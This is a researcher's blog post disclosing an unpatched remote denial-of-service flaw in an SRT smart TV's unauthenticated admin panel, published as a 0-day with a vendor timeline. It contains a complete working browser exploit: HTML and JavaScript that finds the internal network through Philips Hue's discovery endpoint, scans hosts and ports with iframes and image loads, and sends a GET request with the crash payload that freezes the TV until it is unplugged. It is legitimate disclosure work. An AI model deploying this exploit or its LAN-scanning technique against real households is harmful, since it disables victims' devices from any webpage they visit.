Exploiting remote DoS vulnerability in my not-so-smart TV
by vavkamil
15 minutes to read
tl;dr: I found a remotely exploitable DoS vulnerability in my “smart” TV in less than two hours after unboxing. I have released full details, including a 0-day PoC exploit.
I bought myself a smart TV for Christmas. It’s the first TV which I ever owned, so I was quite excited about it, but at the same time, I didn’t want something fancy. It was hard to find something with 4k resolution without a camera/microphone and unnecessary functions, potentially increasing the attack surface. I ended up buying an ordinary one with YouTube & Netflix support (SRT 43UB6203 (43”/108 cm) - 10 bit).
After unboxing and setting it up, the first thing which I did was a firmware update. The latest software version is:
Current version: V8-MS586EU-LF1V104
Product name: 43D1901
Date: May 23 201908:38:07
Recon
After the update, I continued with an nmap scan to see which (if any) ports are exposed:
vavkamil@xexexe:~$ nmap -p- 10.10.10.249
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-07 19:05 CET
Nmap scan report for 10.10.10.249
Host is up (0.0064s latency).
Not shown: 65525 closed ports
PORT STATE SERVICE
4123/tcp open z-wave
5978/tcp open ncd-diag-tcp
8989/tcp open sunwebadmins
51604/tcp open unknown
52091/tcp open unknown
54656/tcp open unknown
55028/tcp open unknown
55683/tcp open unknown
55699/tcp open unknown
61414/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 6.90 seconds
I don’t know if that’s normal or what I was even expecting, but I was more interested in looking into some web interface since I do mostly web security stuff. Unfortunately, after trying each IP:port combination in the browser, there wasn’t anything useful.
So I tried Burp Suite’s “Discovery content” scan from the “Engagement tools” section. Some ports were not responding at all, or there were some XML configs - most likely for the FastCast/Miracast feature (UPnP/1.0 AwoX/1.1) to cast YouTube videos from the phone. I then hit the jackpot and found what I was looking for, the “admin” panel without any authentication.
Exploitation
Looking at the Media Renderer Administration web interface, I was confident that I found a command injection and possible RCE. It’s an endpoint to change Friendly Name, which is used to discover the TV and is visible during casting, and it says:
Note: You can use the %hostname% variable as a placeholder for the actual device hostname.
I precisely followed the instructions and set the Friendly Name as %hostname%. To my surprise, it didn’t work, and the TV completely froze instead. The TV remote stopped working, and the whole thing became unresponsive. Even the hardware buttons at the bottom did nothing. At that point, I was pretty much disappointed, as I thought that I just bricked my one-hour-old television.
Only after unplugging the power cord to do the hard reset, it returned to normal. I continued messing up with the command injection payloads, but it ended up with a Denial of Service (DoS) every time. Just a note that after each restart, the web interface is listening on a different dynamic port (49152 - 65535), so one has to repeat the recon phase.
At that point, I summarized my notes and reached to a vendor via the contact form on their website.
Proof of Concept
After a couple of days passed, I spent an evening writing a Proof of Concept to confirm that the issue is remotely exploitable. The first step was to determine the internal IP range. WebRTC leak didn’t work for me, but since I also own Philips Hue smart light bulbs, I decided to work with that. Thanks to the CORS “misconfiguration”, any website you visit can check the internal IP address of your Hue Bridge. You can see the source code or PoC for that here.
vavkamil@xexexe:~$ curl -v -s https://discovery.meethue.com/
...
< HTTP/2 200
< access-control-allow-credentials: true
< access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept, X-Token, X-Bridge
< access-control-allow-methods: GET, OPTIONS
< access-control-allow-origin: *
< cache-control: no-cache
< content-type: application/json; charset=utf-8
< content-length: 63
< via: 1.1 google
< alt-svc: clear
<
[{"id":"ecb5fafffe128375","internalipaddress":"10.10.10.253"}]
* Connection #0 to host discovery.meethue.com left intact
After discovering the internal IP range, we can leverage the fact that there is always a service listening on port 4123 and do a port scan for that. Thanks to the lack of X-Frame-Options, we can try to load each IP:port pair in an iframe. Unfortunately, the connection to port 4123 will hang out, but it will eventually load after 1:30 minutes (at least in Mozilla Firefox). We can either wait or use a timer on the iframe to detect that it’s loading.
vavkamil@xexexe:~$ curl http://10.10.10.249:4123
curl: (1) Received HTTP/0.9 when not allowed
vavkamil@xexexe:~$ telnet 10.10.10.249 4123
Trying 10.10.10.249...
Connected to 10.10.10.249.
Escape character is '^]'.
<?xml version="1.0" encoding="utf-8"?><root><response>true</response></root>
Once we know the smart TV’s internal IP address, we have to scan all of its dynamic ports to find the Media Renderer Administration. I used the same technique, which is popular in the Router Exploit Kits, loading the admin panel logo in the <img>
tag. Then it’s just a matter of sending one unauthenticated GET request to cause a Denial of Service until the power cord is unplugged:
http://{IP:PORT}/web/admin/setFriendlyName?name=%hostname%
The Proof of Concept code is very messy and could be optimized to be much faster, but it works :)
<html>
<head>
<title></title>
</head>
<body>
<h1>Strong TV DoS exploit</h1>
<h2>Proof of Concept</h2>
<label for="internal_ip">Any internal IP:</label>
<input type="text" name="internal_ip" id="internal_ip" autocomplete="off" onchange="get_tv_ip()">
<br><br>
<label for="tv_ip">Smart TV IP:</label>
<input type="text" name="tv_ip" id="tv_ip" autocomplete="off" onchange="scan_tv_ports()">
<br><br>
<label for="tv_port">Smart TV Port:</label>
<input type="text" name="tv_port" id="tv_port" autocomplete="off"> <em>This may take a couple of minutes</em>
<br><br>
<label for="web_admin">Media Renderer Administration:</label>
<input type="text" name="web_admin" id="web_admin" autocomplete="off">
<br><br>
<label for="exploit_code">Exploit code:</label>
<textarea name="exploit_code" id="exploit_code" autocomplete="off" style="width:680px;height:130px;"></textarea>
<br><br>
<label for="exploit_poc">Exploit:</label>
<a href="#" name="exploit_poc" id="exploit_poc" target="_blank">Proof of Concept</a>
<br><br>
<script>
get_hue_ip();
async function scan_tv_ports(ip) {
var check = 0;
// dynamic ports 49152 - 65535
var ports = get_ports_array(49152,65535);
for (var i = 0; i < ports.length; i++) {
if(check != 0) { break; }
await new Promise(resolve => setTimeout(resolve, 50));
var img = document.createElement("img");
img.setAttribute("src", "http://"+ip+":"+ports[i]+"/web/file/largeIco.jpg");
img.style.width = "10px";
img.style.height = "10px";
//img.style.display = "none";
img.id = ports[i];
img.name = ip;
img.onload = function () {
check = 1;
document.getElementById("tv_port").value = this.id;
document.getElementById("web_admin").value = "http://"+this.name+":"+this.id+"/web";
var code = "\
<script>\n\
function submitRequest() {\n\
var xhr = new XMLHttpRequest();\n\
xhr.open('GET', '"+"http://"+this.name+":"+this.id+"/web"+"/admin/setFriendlyName?name=%hostname%', true);\n\
xhr.send();\n\
}\n\
submitRequest();\n\
<\/script>";
document.getElementById("exploit_code").value = code;
document.getElementById("exploit_poc").href = "http://"+this.name+":"+this.id+"/web"+"/admin/setFriendlyName?name=%hostname%";
console.log(this.id);
};
document.body.appendChild(img);
setTimeout(function () {
this.continue;
}, 50);
}
var imgs = document.querySelectorAll('img');
for (var i = 0; i < imgs.length; i++) {
imgs[i].parentNode.removeChild(imgs[i]);
}
}
function get_tv_ip() {
var local_ip = document.getElementById("internal_ip").value;
var ips = ip_to_range(local_ip);
scan(ips);
}
function get_hue_ip() {
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://discovery.meethue.com/")
xhr.send();
xhr.onreadystatechange = function(e) {
var hue_ip;
if (xhr.readyState === 4) {
var response = xhr.responseText;
var obj = JSON.parse(response);
hue_ip = obj[0].internalipaddress;
document.getElementById("internal_ip").value = hue_ip;
get_tv_ip();
}
}
}
function ip_to_range(ip) {
var ips = [];
var ip_parts = ip.split( '.' );
if( ip_parts.length !== 4 ) {
return false;
}
for( var i = 1; i < 255; i++ ) {
var tmp_ip = ip_parts[0] + '.' + ip_parts[1] + '.' + ip_parts[2] + '.' + i;
ips.push( tmp_ip );
}
return ips;
}
function get_ports_array(lowEnd, highEnd) {
var ports = [];
for (var i = lowEnd; i <= highEnd; i++) {
ports.push(i);
}
return ports;
}
function scan(ips) {
for (var i = 0; i < ips.length; i++) {
var ifrm = document.createElement("iframe");
ifrm.setAttribute("src", "http://"+ips[i]+":4123");
ifrm.style.width = "10px";
ifrm.style.height = "10px";
ifrm.id = ips[i];
ifrm.onload = function () {
var iframes = document.querySelectorAll('iframe');
for (var i = 0; i < iframes.length; i++) {
iframes[i].parentNode.removeChild(iframes[i]);
}
document.getElementById("tv_ip").value = this.id;
scan_tv_ports(this.id);
};
document.body.appendChild(ifrm);
setTimeout(function () {
this.continue;
}, 50);
}
}
</script>
</body>
</html>
Example
The following example is accelerated. The full port scan phase can take up to 5 - 10 minutes. However, it’s because the PoC is not optimized for speed.
If the attacker is already in the same network as the smart TV, it would be much faster and easier to use Nmap or something like that.
Honestly, I didn’t have much time to do even a network scan or motivation to reverse engineer the firmware, but I believe there is much more to uncover. It would be an excellent topic for further research. I guess it’s just a matter of time until we see the first Smart TV Exploit Kit.
I decided to drop this one as a 0day since I couldn’t convince the vendor to release a fix in the past 90 days. Users can move smart appliances to a separate VLAN to be safe. Other than that, the TV itself is not that bad, and I’m somewhat satisfied with the purchase.
Timeline
- December 8th, 2020 ~ I bought a TV, found a vulnerability
- December 8th, 2020 ~ Reached to the support via the contact form on the vendors’ website
- December 8th, 2020 ~ Sent emails to a couple of vendors’ email addresses
- December 11th, 2020 ~ Wrote a working Proof of Concept exploit
- December 11th, 2020 ~ Sent an email to an address found on a different vendors’ website
- December 11th, 2020 ~ Received a response and discussed the findings
- December 22nd, 2020 ~ I received a response that the ports can’t be closed, and it’s most likely a won’t-fix issue
- March 11th, 2021 ~ Published a responsible disclosure report (90 days since the initial response)